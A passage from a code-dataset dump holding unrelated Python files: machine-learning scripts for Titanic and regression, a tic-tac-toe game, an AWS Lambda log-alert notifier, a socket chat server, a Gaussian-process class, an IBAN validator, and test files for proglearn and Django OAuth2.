', list(features_data_frame.columns))\n# print('features_data_frame is ', list(features_data_frame['Fare'])[295:307])\n# print('test_dataframe.shape is ', test_data_frame.shape)\n\n\n# features_data_frame = pd.get_dummies(features_data_frame)\n# test_data_frame = pd.get_dummies(test_data_frame)\n# adjust_test_dataframe(features_data_frame, train_data_frame)\n \n# features_cols = list(set(train_data_frame.columns)-set(['Survived']))\n\n# print(data_dummies.dtypes)\n# col_names = list(data_dummies.columns)\n# train_cols = list(set(train_data_frame.columns)-\n# set(['PassengerId', 'Survived', 'Name', 'Ticket']))\n \n# X_train, X_test, y_train, y_test = train_test_split(\n# train_data_frame[train_cols], \n# train_data_frame['SalePrice'], \n# random_state=42)\n\n######################################################################\n \n# lr = LinearRegression().fit(X_train, y_train)\n \n# best_ratio = 0\n# best_score = -1000\n# scores_mean_list = []\n# ratio_list = []\n# for ratio in range(10, 100, 10):\n# print('ratio is ', ratio)\n# kfold = KFold(n_splits=5, shuffle=True, random_state=0)\n# rf = RandomForestRegressor(n_estimators=1000,\n# max_features=int(len(train_cols)*ratio/100),\n# max_depth=4, \n# n_jobs=4)\n# scores = cross_val_score(rf, train_data_frame[train_cols], \n# train_data_frame['SalePrice'], \n# cv=kfold)\n# print('ratio is ', ratio, 'scores mean is ', scores.mean())\n# scores_mean_list.append(scores.mean())\n# ratio_list.append(ratio)\n# if best_score < scores.mean():\n# best_score = scores.mean()\n# best_ratio = ratio\n\n# plt.plot(ratio_list, scores_mean_list)\n# plt.show()\n print('training start...')\n# rf = RandomForestRegressor(n_estimators=10000, \n# max_features=int(len(train_cols)*best_ratio/100),\n# max_depth=4,\n# n_jobs=4).fit(\n# train_data_frame[train_cols],\n# train_data_frame['SalePrice'])\n\n###########################################################################\n\n#svr grid_search.best_params_ is {'n_estimators': 5000, 'learning_rate': 0.1, 'max_depth': 6}\n#svr grid_search.best_score_ is 0.846240179574\n#best score is 0.997755331089\n#time cost is 7278.848999977112\n\n param_grid = {'n_estimators': [5000],\n 'learning_rate': [0.001, 0.001, 0.1],\n 'max_depth': [2, 4, 6, 8, 10, None]}\n \n grid_search = GridSearchCV(GradientBoostingClassifier(random_state=42), \n param_grid, cv=5)\n grid_search.fit(features_data_frame, target_data_frame)\n test_score = grid_search.score(features_data_frame, target_data_frame)\n outcome = list(grid_search.predict(test_data_frame))\n \n print('svr grid_search.best_params_ is ', grid_search.best_params_)\n print('svr grid_search.best_score_ is ', grid_search.best_score_)\n print('best score is ', test_score)\n \n\n# gbr = GradientBoostingClassifier(n_estimators=1000, max_depth=4, \n# learning_rate=0.07,\n# random_state=0)\n# scores = cross_val_score(gbr, features_data_frame, target_data_frame, cv=5)\n# print('scores mean is ', scores.mean())\n# \n## print('features_data_frame is ', features_data_frame['Sex'])\n# gbr.fit(features_data_frame, target_data_frame)\n# print(\"accuracy on training set:\", gbr.score(features_data_frame, \n# target_data_frame))\n#\n# print('length of test_data_frame ', len(test_data_frame))\n# outcome = list(gbr.predict(test_data_frame))\n# print('length of outcome is ', len(outcome))\n\n######################################################################\n\n# param_grid = {'n_estimators': [5000, 8000],\n# 'max_depth': [8, 15, 20, None]}\n# \n# grid_search = GridSearchCV(RandomForestClassifier(random_state=5), \n# param_grid, cv=5)\n# grid_search.fit(features_data_frame, target_data_frame)\n# test_score = grid_search.score(features_data_frame, target_data_frame)\n# outcome = list(grid_search.predict(test_data_frame))\n# \n# print('svr grid_search.best_params_ is ', grid_search.best_params_)\n# print('svr grid_search.best_score_ is ', grid_search.best_score_)\n# print('best score is ', test_score)\n \n#######################################################################\n \n ### Logistic Regression 需要feature rescaling\n \n# df_concated = pd.concat([features_data_frame, test_data_frame])\n# scaler = StandardScaler().fit(df_concated)\n# features_data_frame = scaler.transform(features_data_frame)\n# test_data_frame = scaler.transform(test_data_frame)\n# \n# param_grid = {'penalty': ['l1', 'l2'],\n# 'C': [0.01, 0.1, 1, 10, 100],\n# 'solver': ['liblinear']}\n# \n# grid_search = GridSearchCV(LogisticRegression(random_state=5), \n# param_grid, cv=5)\n# grid_search.fit(features_data_frame, target_data_frame)\n# test_score = grid_search.score(features_data_frame, target_data_frame)\n# outcome = list(grid_search.predict(test_data_frame))\n# \n# print('svr grid_search.best_params_ is ', grid_search.best_params_)\n# print('svr grid_search.best_score_ is ', grid_search.best_score_)\n# print('best score is ', test_score)\n \n \n# lr = LogisticRegression()\n# lr.fit(features_data_frame, target_data_frame)\n# print(\"accuracy on training set:\", lr.score(features_data_frame, \n# target_data_frame))\n#\n# print('length of test_data_frame ', len(test_data_frame))\n# outcome = list(lr.predict(test_data_frame))\n# print('length of outcome is ', len(outcome))\n \n#######################################################################\n \n# param_grid = {'kernel': [\"rbf\"],\n# 'C' : np.logspace(-5, 5, num=11, base=10.0),\n# 'gamma' : np.logspace(-5, 5, num=11, base=10.0)}\n# df_concated = pd.concat([features_data_frame, test_data_frame])\n# scaler = StandardScaler().fit(df_concated)\n# x_train_scaled = scaler.transform(features_data_frame)\n# x_test_scaled = scaler.transform(test_data_frame)\n# \n# grid_search = GridSearchCV(SVC(), param_grid, cv=5)\n# grid_search.fit(x_train_scaled, target_data_frame)\n# test_score = grid_search.score(x_train_scaled, target_data_frame)\n# outcome = list(grid_search.predict(x_test_scaled))\n# \n# print('svr grid_search.best_params_ is ', grid_search.best_params_)\n# print('svr grid_search.best_score_ is ', grid_search.best_score_)\n# print('best score is ', test_score)\n\n\n#######################################################################\n\n outcome_data_frame = pd.DataFrame(\n {'PassengerId': list(range(892, 1310)), \n 'Survived': outcome\n }, index=None)\n \n# outcome_data_frame = pd.DataFrame(\n# {'PassengerId': list(range(892, 1310)), \n# 'Survived': list(np.random.randint(0, 2, size=418))\n# }, index=None)\n \n outcome_data_frame = outcome_data_frame.set_index('PassengerId')\n outcome_data_frame.to_csv('./tsg_outcome.csv')\n\n end_time = time.time() \n print('time cost is ', end_time - start_time)\n \n \n#######################################################################\n","sub_path":"titanic/history/0.80383/titanic.py","file_name":"titanic.py","file_ext":"py","file_size_in_byte":13501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"228982819","text":"# Tic Tac Toe project, showcasing function programming and logic to play the game\r\n\r\n# The Board, a print function that clears previous board by using a bunch of new lines\r\n\r\nimport random\r\n\r\ndef display_board(board):\r\n print('\\n' * 100)\r\n print(board[7] + '|' + board[8] + '|' + board[9])\r\n print('- - -')\r\n print(board[4] + '|' + board[5] + '|' + board[6])\r\n print('- - -')\r\n print(board[1] + '|' + board[2] + '|' + board[3])\r\n\r\n# Player Marker, uses a while loop to make sure I get the correct responses\r\n\r\ndef player_input():\r\n\r\n player1 = 'nah'\r\n player2 = ''\r\n symbol = ['X', 'O']\r\n\r\n while player1 not in symbol:\r\n player1 = input('Player 1, wanna be \"X\" or \"O\"? ')\r\n\r\n if player1 not in symbol:\r\n print('X or O not chosen, case sensitive and no numbers!')\r\n\r\n # check for what index player1 is at, if == [0] or [1], assign opposite index to player 2\r\n\r\n if player1 == symbol[0]:\r\n player2 = symbol[1]\r\n else:\r\n player2 = symbol[0]\r\n\r\n return (player1, player2)\r\n\r\n# Marker Placement\r\n\r\ndef place_marker(board, marker, position):\r\n board[position] = marker\r\n\r\n# Win Check, takes in board and a player marker to see if that player has won\r\n\r\ndef win_check(board, mark):\r\n\r\n return ((board[1] == board[2] == board[3] == mark) or\r\n (board[4] == board[5] == board[6] == mark) or\r\n (board[7] == board[8] == board[9] == mark) or\r\n (board[1] == board[4] == board[7] == mark) or\r\n (board[2] == board[5] == board[8] == mark) or\r\n (board[3] == board[6] == board[9] == mark) or\r\n (board[1] == board[5] == board[9] == mark) or\r\n (board[3] == board[5] == board[7] == mark))\r\n\r\n# First Move, randomly chooses\r\n\r\ndef choose_first():\r\n decided = random.randint(1, 2)\r\n return str(decided)\r\n\r\n# Space Check, checks if a space a player chooses is actually available to place their marker\r\n\r\ndef space_check(board, position):\r\n return board[position] == ' '\r\n\r\n# Full Board, used in case of a tie\r\n\r\ndef full_board_check(board):\r\n\r\n for x in range(1,10):\r\n\r\n if space_check(board,x):\r\n return False\r\n\r\n return True\r\n\r\n# Player Choice, used to ask player where they'd like to place the marker.\r\n# uses space_check function to see if move possible\r\n\r\ndef player_choice(board):\r\n choice = 0\r\n\r\n while choice not in [1, 2, 3, 4, 5, 6, 7, 8, 9] or not space_check(board, choice):\r\n choice = int(input('Where do you want to place your marker? Pick 1-9: '))\r\n\r\n return choice\r\n\r\n# Replay, play again?\r\n\r\ndef replay():\r\n again = ' '\r\n check = ['YES', 'NO']\r\n\r\n while again not in check:\r\n again = input('Wanna play again? Case sensitively, type YES or NO: ')\r\n\r\n if again == check[0]:\r\n return True\r\n\r\n# GAME LOGIC #\r\n\r\nprint('Welcome to Tic Tac Toe!')\r\n\r\nwhile True:\r\n\r\n game_board = ['#', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']\r\n\r\n player1, player2 = player_input()\r\n turn = choose_first()\r\n print(f'Player {turn} will go first!')\r\n\r\n play_game = input('Ready? Y or N: ').upper()\r\n if play_game == 'Y':\r\n game_on = True\r\n else:\r\n game_on = False\r\n\r\n while game_on:\r\n\r\n if turn == '1':\r\n\r\n # Player 1 Turn\r\n display_board(game_board)\r\n\r\n choice = player_choice(game_board)\r\n place_marker(game_board, player1, choice)\r\n\r\n if win_check(game_board, player1):\r\n display_board(game_board)\r\n print('Player 1 wins!')\r\n game_on = False\r\n else:\r\n if full_board_check(game_board):\r\n display_board(game_board)\r\n print('Tie Game!')\r\n game_on = False\r\n else:\r\n turn = '2'\r\n\r\n # Player2's turn.\r\n else:\r\n\r\n display_board(game_board)\r\n\r\n choice = player_choice(game_board)\r\n place_marker(game_board, player2, choice)\r\n\r\n if win_check(game_board, player2):\r\n display_board(game_board)\r\n print('Player 2 wins!')\r\n game_on = False\r\n else:\r\n if full_board_check(game_board):\r\n display_board(game_board)\r\n print('Tie Game!')\r\n game_on = False\r\n else:\r\n turn = '1'\r\n\r\n if not replay():\r\n game_on = False\r\n break\r\n","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":4497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"410558269","text":"import pytest\nimport numpy as np\nfrom numpy.testing import assert_allclose\nfrom sklearn.exceptions import NotFittedError\n\nfrom proglearn.deciders import KNNRegressionDecider, LinearRegressionDecider\nfrom proglearn.base import BaseTransformer, BaseVoter\n\n\ndef test_predict_without_fit():\n # Generate random data\n X = np.random.normal(0, 1, size=(100, 3))\n\n with pytest.raises(NotFittedError):\n krd = KNNRegressionDecider()\n krd.predict(X)\n\n with pytest.raises(NotFittedError):\n lrd = LinearRegressionDecider()\n lrd.predict(X)\n\n\nclass IdentityTransformer(BaseTransformer):\n def __init__(self):\n self._is_fitted = False\n\n def fit(self):\n self._is_fitted = True\n\n def transform(self, X):\n return X\n\n def is_fitted(self):\n return self._is_fitted\n\n\nclass IdentityVoter(BaseVoter):\n def __init__(self, index):\n self._is_fitted = False\n self.index = index\n\n def fit(self):\n self._is_fitted = True\n\n def vote(self, X):\n n = len(X)\n return X[:, self.index].reshape(n)\n\n def is_fitted(self):\n return self._is_fitted\n\n\ndef test_correct_decision():\n np.random.seed(3)\n\n X = 0.1 * np.random.randn(2000, 3) + 1\n Y = np.sum(X, axis=1).reshape((2000, 1))\n\n lrd = LinearRegressionDecider()\n krd = KNNRegressionDecider()\n\n transformer_id_to_transformers = {\n \"0\": [IdentityTransformer()],\n \"1\": [IdentityTransformer()],\n \"2\": [IdentityTransformer()],\n }\n transformer_id_to_voters = {\n \"0\": [IdentityVoter(0)],\n \"1\": [IdentityVoter(1)],\n \"2\": [IdentityVoter(2)],\n }\n\n lrd.fit(X, Y, transformer_id_to_transformers, transformer_id_to_voters)\n krd.fit(X, Y, transformer_id_to_transformers, transformer_id_to_voters)\n\n X_test = np.ones((5, 3))\n Y_test = 3 * np.ones(5)\n\n assert_allclose(Y_test, lrd.predict(X_test), atol=1e-4)\n assert_allclose(Y_test, krd.predict(X_test), atol=1e-2)\n","sub_path":"tests/test_deciders.py","file_name":"test_deciders.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"199966616","text":"import os\nimport sys\nimport json\nimport boto3\nimport zlib\nimport base64\nimport datetime\nfrom datetime import datetime as dt\nimport urllib\nimport requests\n\nprint('loading function')\n \n## Create Logs\ndef logging(logLv, logMsg):\n\n logTimeStump = dt.now().strftime('%Y-%m-%d %H:%M:%S.%f')\n\n print(str(logLv) + \" \" + str(logTimeStump) + \" \" + str(logMsg))\n return\n\n## S3 get list\ndef getList(fileName, s3keyPrefix, s3Bucket, filePath):\n\n s3 = boto3.resource('s3')\n \n newFileName = s3keyPrefix + fileName\n\n try:\n s3.Bucket(s3Bucket).download_file(newFileName, filePath)\n with open(filePath) as f:\n lines = json.load(f)\n return lines\n except Exception:\n logging(\"ERROR\", \"Fail to get files from S3-backet\")\n sys.exit()\n\n## post slack\ndef post_slack(log_data, log_url, contact, description):\n\n SLACK_POST_URL = contact['SLACK']\n channnel = '#connectcommon'\n\n message = str(description) + \\\n \"\\n\" + str(log_data) + \\\n \"\\n\" + log_url\n\n params = {\n 'channel':channnel,\n 'text': message\n }\n try:\n r = requests.post(SLACK_POST_URL, data=json.dumps(params))\n except Exception:\n logging(\"ERROR\", \"Fail to post slack\")\n sys.exit()\n\n## post mail\ndef post_sns(log_data, log_url, contact, description, title):\n\n topic_arn = contact['Mail']\n sns = boto3.client('sns')\n\n sns_message = description + \\\n \"\\n\" + log_data+ \\\n \"\\n\" + log_url\n\n try:\n responses = sns.publish(\n TopicArn = topic_arn,\n Message = sns_message,\n Subject = title\n )\n except Exception:\n logging(\"ERROR\", \"Fail to post Mail\")\n sys.exit()\n\n# judg_status\ndef judge_status(log_data, log_url, x, title):\n\n errorcode = x['errorcode']\n contact = x['contact']\n description = x['description']\n\n if errorcode in log_data:\n print(\"true\")\n if \"Mail\" not in contact:\n post_slack(log_data, log_url, contact, description)\n logging(\"INFO\", \"Post Slack\")\n elif \"SLACK\" not in contact:\n post_sns(log_data, log_url, contact, description, title)\n logging(\"INFO\", \"Post Mail\")\n else:\n post_slack(log_data, log_url, contact, description)\n logging(\"INFO\", \"Post Slack\")\n post_sns(log_data, log_url, contact, description, title)\n logging(\"INFO\", \"Post Mail\")\n else:\n print(\"false\")\n\n## main\ndef lambda_handler(event, context):\n # global val\n ENV = os.environ['ENV']\n STG = os.environ['STG']\n # s3 param\n fileName = os.environ['fileName']\n s3Bucket = os.environ['s3Bucket']\n s3keyPrefix = os.environ['s3keyPrefix']\n filePath = '/tmp/' + fileName\n region = context.invoked_function_arn.split(\":\")[3]\n\n # get logs\n if 'awslogs' not in event:\n if \"aws:sns\" in event['Records'][0]['EventSource']:\n message_unicode = (event['Records'][0]['Sns']['Message'])\n message_dist = json.loads(message_unicode)\n url_quote = urllib.parse.quote(message_dist['AlarmName'], safe='')\n msg = json.dumps(message_dist, ensure_ascii=False, indent=4, sort_keys=True, separators=(',', ': '))\n log_url = \"https://\"+str(region)+\".console.aws.amazon.com/cloudwatch/home?region=\"+str(region)+\"#alarmsV2:alarm/\"+str(url_quote)\n # read list and push notification\n listJson = getList(fileName, s3keyPrefix, s3Bucket, filePath)\n for k, v in listJson.items():\n for x in v:\n if \"Metrics\" in k:\n description = \"\"\n contact = x['contact']\n title = \"【inv-\" + str(STG) + \"-\" + str(ENV) + \"】-\" + \"メトリクスアラーム通知\"\n post_slack(msg, log_url, contact, description)\n post_sns(msg, log_url, contact, description, title)\n else:\n data_json = json.loads(zlib.decompress(base64.b64decode(event['awslogs']['data']), 16+zlib.MAX_WBITS))\n log_json = json.loads(json.dumps(data_json, ensure_ascii=False))\n log_grpname = log_json[\"logGroup\"]\n log_stream = log_json[\"logStream\"]\n\n # log stream url\n log_url = \"https://\"+str(region)+\".console.aws.amazon.com/cloudwatch/home?region=\"+str(region)+\"#logEventViewer:group=\"+str(log_grpname)+\";stream=\"+str(log_stream)\n\n # read list and push notification\n listJson = getList(fileName, s3keyPrefix, s3Bucket, filePath)\n\n for mess in log_json['logEvents']:\n log_data = mess['message']\n spl_logdata = log_data.split()\n spl_result = spl_logdata[0]\n result = spl_result[6:]\n for sepmes in spl_logdata:\n if 'X-ErrorId' in sepmes:\n spl_sm = sepmes.split(':')\n ssm = spl_sm[1]\n for k, v in listJson.items():\n for x in v:\n if \"Application\" in k:\n if 'ssm' in locals():\n if ssm == x.get('errorcode'):\n title = \"【inv-\" + str(ENV) + \"-\" + str(STG) + \"】-\" + \"プログラムエラー通知-\" + str(ssm)\n judge_status(log_data, log_url, x, title)\n elif \"errorcode_bash\" in k:\n if x['errorcode'] in log_data:\n errorcode = x['errorcode']\n title = \"bash内部エラー通知-\" + str(errorcode)\n judge_status(log_data, log_url, x, title)\n else :\n if x['errorcode'] in log_data:\n errorcode = x['errorcode']\n title = str(result) + \"-\" + \"シナリオ検知エラー通知-\" + str(errorcode)\n judge_status(log_data, log_url, x, title)\n\n\n","sub_path":"car_connected/cicd_cn/monitor-config/INV-ver-sub01/src/handlers/my_lambda_function/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":5982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"148624550","text":"\n### Electric Potential and Electric Field ###\n### I assume that two particles are at: positive charge at (x0p , -1) and negative charge at (x0n , -1) ###\n### 1m*1m was so big and I couldn't see and noticeable effect. So I considered a 1cm*1cm plate. ###\n\nimport numpy as np\nimport math \nfrom pylab import imshow , show, quiver\n\nx0n = 10\nx0p= 0\n\ne = 8.854187817\n\nphi = np.zeros(shape=( 101 , 101))\nx = np.zeros(101)\ny = np.zeros(101)\n\ndx = 10**-4 # in meter unit\n \nfor i in range ( 101):\n for j in range ( 101):\n x[j] = j * dx\n y[i] = i * dx\n phi[i , j] = 100/(4 * e * math.pi) * ( ( (x[j]-x0p*dx)**2 + ( y[i]+ 10**-2 )**2 )**-0.5 - ( (x[j] - x0n*dx )**2 + (y[i] + 10**-2 )**2 )**-0.5 )\n \nimshow(phi , origin = \"lower\")\nshow()\n\nE_x = np.zeros(shape=(101, 101))\nE_y = np.zeros(shape=(101, 101))\nE = np.zeros(shape=(101, 101))\n### electric field ###\nfor i in range (100):\n for j in range (100):\n E_x[i , j] = (phi[i+1,j]-phi[i,j])/dx\n E_y[i ,j] = ( phi[i , j+1]- phi[i , j])/dx\n \n\nquiver(x,y,E_x,E_y)\nshow()\n \n","sub_path":"week03/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"315980516","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom numpy.random import *\nfrom modules.distributed_regression import update_functions\n\n\nnp.random.seed(0)\nclass distributed_updates(update_functions):\n\n\n def __init__(self):\n self.N = 100\n self.m = 1000\n self.r_i = 80\n self.iteration =20000\n self.sparsity_percentage = 0.1\n self.lamb = 1.69\n self.eta = 0.00002849\n self.B = 0.001\n self.rho = self.lamb*((self.B)**2)\n self.how_weakly_sparse = 0.0\n self.w_noise = 30\n\n def run(self):\n w,w_star,w_all,U_all,d_all,L2,graph = self.make_variables_noise_after(self.N,self.m,self.r_i,self.sparsity_percentage,self.how_weakly_sparse,self.w_noise)\n self.params_checker(self.rho,self.lamb,self.eta,U_all,self.B,self.m,self.N,graph)\n self.centralized_convexity_checker(self.B,self.lamb,U_all,self.N)\n extra_mc = self.pg_extra_mc_soft(U_all,d_all,w_star,L2,self.N,self.m,self.r_i,1.8/self.m,0.00092,6/self.m,self.iteration,graph,w_all)\n extra_l1 = self.pg_extra_l1(U_all,d_all,w_star,L2,self.N,self.m,self.r_i,1.05/self.m,0.00092,self.rho,self.iteration,graph,w_all)\n extra = self.extra(U_all,d_all,w_star,L2,self.N,self.m,self.r_i,self.lamb,0.00092,self.rho,self.iteration,graph,w_all)\n\n\n plt.legend()\n plt.xlabel(\"iterations\")\n plt.ylabel(\"Mean Square Error (dB)\")\n plt.show()\n x = range(len(extra_l1))\n plt.plot(x,extra,label = \"EXTRA\")\n plt.plot(x,extra_l1,label = \"PG-EXTRA L1\")\n plt.plot(x,extra_mc,label = \"PG-EXTRA MC\")\n # plt.plot(x,wdmc1,label = \"distributed mc\")\n plt.plot(x,w_star,color = \"black\")\n plt.legend()\n plt.show()\n # print(extra_mc)\n\nif __name__ == \"__main__\":\n simulation = distributed_updates()\n simulation.run()\n\n #l1 -44 extra -39 mc -44.7弱","sub_path":"main_pgextra_different_m.py","file_name":"main_pgextra_different_m.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"126667962","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 23 18:29:21 2019\n\n@author: hassan\n\"\"\"\n\nfrom socket import *\nfrom threading import Thread\n\n\n\nclients_name={}\nclients = []\naddresses = {}\n\ndef accept_incoming_connections():\n while True:\n \n client,client_address=s.accept()\n print(\"%s:%s has connected ... \" %client_address)\n client.send(bytes(\"Greating From chatRoom...\" + \"Now Type Your Name and press Enter..\" , \"utf-8\"))\n addresses[client]=client_address\n clients.append(client)\n Thread(target=handle_client, args=(client,)).start()\n\ndef handle_client(client):\n name = client.recv(1024).decode('utf-8')\n welcome = 'Welcome %s! If you ever want to quit, type {quit} to exit.' % name\n client.send(bytes(welcome, \"utf8\"))\n msg = \"%s has joined the chat!\" % name\n sendToAll(msg,client)\n clients_name[client] = name\n \n while True:\n msg = client.recv(1024)\n if msg != bytes(\"{quit}\", \"utf8\"):\n broadcast(msg, name+\": \")\n else:\n client.send(bytes(\"{quit}\", \"utf8\"))\n client.close()\n del clients[client]\n broadcast(bytes(\"%s has left the chat.\" % name, \"utf8\"))\n break\n\ndef sendToAll(msg,con):\n for client in clients:\n if (client != con):\n client.send(msg.encode('utf-8'))\n\ndef broadcast(msg, prefix=\"\"): # prefix is for name identification.\n \"\"\"Broadcasts a message to all the clients.\"\"\"\n\n for client in clients:\n client.send(bytes(prefix, \"utf8\")+msg) \n\n\nhost = \"\"\nport = 7000\nadd = (host, port)\n\ns = socket(AF_INET, SOCK_STREAM)\ns.bind(add)\n\ns.listen(5)\nprint(\"Waiting for connection...\")\nACCEPT_THREAD = Thread(target=accept_incoming_connections)\nACCEPT_THREAD.start()\n\n\n \n","sub_path":"Section 2019/sec8 chatRoom/server2.py","file_name":"server2.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"367766387","text":"\"\"\"\nCode for Gaussian processes.\n\"\"\"\n\nfrom argparse import Namespace\nimport copy\nimport numpy as np\n\nfrom .gp_util import kern_exp_quad, sample_mvn, gp_post\n\n\nclass SimpleGp:\n \"\"\"\n Simple GP model without external backend.\n \"\"\"\n\n def __init__(self, params=None, verbose=True):\n \"\"\"\n Parameters\n ----------\n params : Namespace_or_dict\n Namespace or dict of parameters for this model.\n verbose : bool\n If True, print description string.\n \"\"\"\n self.set_params(params)\n if verbose:\n self.print_str()\n\n def set_params(self, params):\n \"\"\"Set self.params, the parameters for this model.\"\"\"\n params = dict_to_namespace(params)\n\n # Set self.params\n self.params = Namespace()\n self.params.ls = getattr(params, 'ls', 3.7)\n self.params.alpha = getattr(params, 'alpha', 1.85)\n self.params.sigma = getattr(params, 'sigma', 1e-5)\n self.params.kernel = getattr(params, 'kernel', kern_exp_quad)\n\n # Initialize self.data to be empty\n self.data = Namespace()\n self.data.X = []\n self.data.y = []\n\n def set_data(self, data):\n \"\"\"Set self.data.\"\"\"\n data = dict_to_namespace(data)\n self.data = copy.deepcopy(data)\n\n def get_gp_prior_mu_cov(self, x_list, full_cov=True):\n \"\"\"\n Return GP prior parameters: mean (mu) and covariance (cov).\n\n Parameters\n ----------\n x_list : list\n List of numpy ndarrays, each representing a domain point.\n full_cov : bool\n If True, return covariance matrix. If False, return list of standard\n deviations.\n\n Returns\n -------\n mu : ndarray\n A numpy 1d ndarray with len=len(x_list) of floats, corresponding to\n posterior mean for each x in x_list.\n cov : ndarray\n If full_cov is False, return a numpy 1d ndarray with len=len(x_list) of\n floats, corresponding to posterior standard deviations for each x in x_list.\n If full_cov is True, return the covariance matrix as a numpy ndarray\n (len(x_list) x len(x_list)).\n \"\"\"\n # NOTE: currently assumes zero-mean prior.\n # TODO: generalized beyond zero-mean prior.\n mu = np.zeros(len(x_list))\n cov = self.params.kernel(x_list, x_list, self.params.ls, self.params.alpha)\n\n if full_cov is False:\n cov = np.sqrt(np.diag(cov))\n\n return mu, cov\n\n def get_gp_post_mu_cov(self, x_list, full_cov=True):\n \"\"\"\n Return GP posterior parameters: mean (mu) and covariance (cov). If there is no\n data, return the GP prior parameters.\n\n Parameters\n ----------\n x_list : list\n List of numpy ndarrays, each representing a domain point.\n full_cov : bool\n If True, return covariance matrix. If False, return list of standard\n deviations.\n\n Returns\n -------\n mu : ndarray\n A numpy 1d ndarray with len=len(x_list) of floats, corresponding to\n posterior mean for each x in x_list.\n cov : ndarray\n If full_cov is False, return a numpy 1d ndarray with len=len(x_list) of\n floats, corresponding to posterior standard deviations for each x in x_list.\n If full_cov is True, return the covariance matrix as a numpy ndarray\n (len(x_list) x len(x_list)).\n \"\"\"\n if len(self.data.X) == 0:\n return self.get_gp_prior_mu_cov(x_list, full_cov)\n\n # If data is not empty:\n\n mu, cov = gp_post(\n self.data.X,\n self.data.y,\n x_list,\n self.params.ls,\n self.params.alpha,\n self.params.sigma,\n self.params.kernel,\n full_cov=full_cov,\n )\n\n return mu, cov\n\n def get_gp_post_mu_cov_single(self, x):\n \"\"\"Get GP posterior for an input x. Return posterior mean and std for x.\"\"\"\n mu_arr, std_arr = self.get_gp_post_mu_cov([x], full_cov=False)\n return mu_arr[0], std_arr[0]\n\n def sample_gp_prior(self, x_list, n_samp, full_cov=True):\n \"\"\"Get samples from gp prior for each input in x_list.\"\"\"\n mu, cov = self.get_gp_prior_mu_cov(x_list, full_cov)\n return self.get_normal_samples(mu, cov, n_samp, full_cov)\n\n def sample_gp_post(self, x_list, n_samp, full_cov=True):\n \"\"\"Get samples from gp prior for each input in x_list.\"\"\"\n if len(self.data.X) == 0:\n return self.sample_gp_prior(x_list, n_samp, full_cov)\n\n # If data is not empty:\n mu, cov = self.get_gp_post_mu_cov(x_list, full_cov)\n return self.get_normal_samples(mu, cov, n_samp, full_cov)\n\n def get_normal_samples(self, mu, cov, n_samp, full_cov):\n \"\"\"Return normal samples.\"\"\"\n if full_cov:\n sample_list = list(sample_mvn(mu, cov, n_samp))\n else:\n sample_list = list(\n np.random.normal(\n mu.reshape(-1,), cov.reshape(-1,), size=(n_samp, len(mu))\n )\n )\n x_list_sample_list = list(np.stack(sample_list).T)\n return x_list_sample_list\n\n def print_str(self):\n \"\"\"Print a description string\"\"\"\n print('*SimpleGp with params={}'.format(self.params))\n\n\ndef dict_to_namespace(params):\n \"\"\"\n If params is a dict, convert it to a Namespace, and return it.\n\n Parameters\n ----------\n params : Namespace_or_dict\n Namespace or dict.\n\n Returns\n -------\n params : Namespace\n Namespace of params\n \"\"\"\n # If params is a dict, convert to Namespace\n if isinstance(params, dict):\n params = Namespace(**params)\n\n return params\n","sub_path":"src/simple_gp.py","file_name":"simple_gp.py","file_ext":"py","file_size_in_byte":5810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"572185634","text":"\r\nclass DogrulamaTool():\r\n def __init__(self,metin):\r\n self.metin = metin\r\n\r\n def ibanDogrulama(self):\r\n metin = self.metin.replace(\" \",\"\") \r\n if metin.isalnum():\r\n metin = metin[4:] + metin[:4]\r\n iban2 = \"\"\r\n for kar in metin:\r\n if not kar.isdigit():\r\n iban2 += str(ord(kar)-55)\r\n else:\r\n iban2 += kar\r\n a = iban2[:9]\r\n b = str(int(a)%97) + iban2[9:18]\r\n c = str(int(b)%97) + iban2[18:]\r\n sonuc = str(int(c)%97)\r\n if sonuc == \"1\":\r\n return True\r\n else:\r\n return False","sub_path":"tools/iban.py","file_name":"iban.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"189212797","text":"# Copyright (c) 2014 The Hackerati, Inc.\n# This project is distributed under the terms of the MIT license.\n# See the file LICENSE or http://opensource.org/licenses/MIT.\n\nfrom django.contrib.auth.models import User\n\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\n\nimport vcr\nfrom unittest import skip\n\n# for session workaround\nfrom django.conf import settings\nfrom importlib import import_module\n\nclass OAuth2InitialLoginViewTests(APITestCase):\n def setUp(self):\n self.request_url = '/api/v1/oauth2/login/'\n\n def test_get_oauth2_login(self):\n query_params = {'provider': 'accounts.google.com'}\n with vcr.use_cassette('oidc/fixtures/vcr/generic_discovery.yaml'):\n response = self.client.get(self.request_url, data=query_params)\n self.assertEqual(response.status_code, status.HTTP_302_FOUND)\n #TODO: more thorough tests might be needed here\n\n def test_get_oauth2_login_missing_provider(self):\n response = self.client.get(self.request_url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_get_oauth2_login_bad_provider(self):\n query_params = {'provider': 'bad.website.net'}\n response = self.client.get(self.request_url, data=query_params)\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\nclass 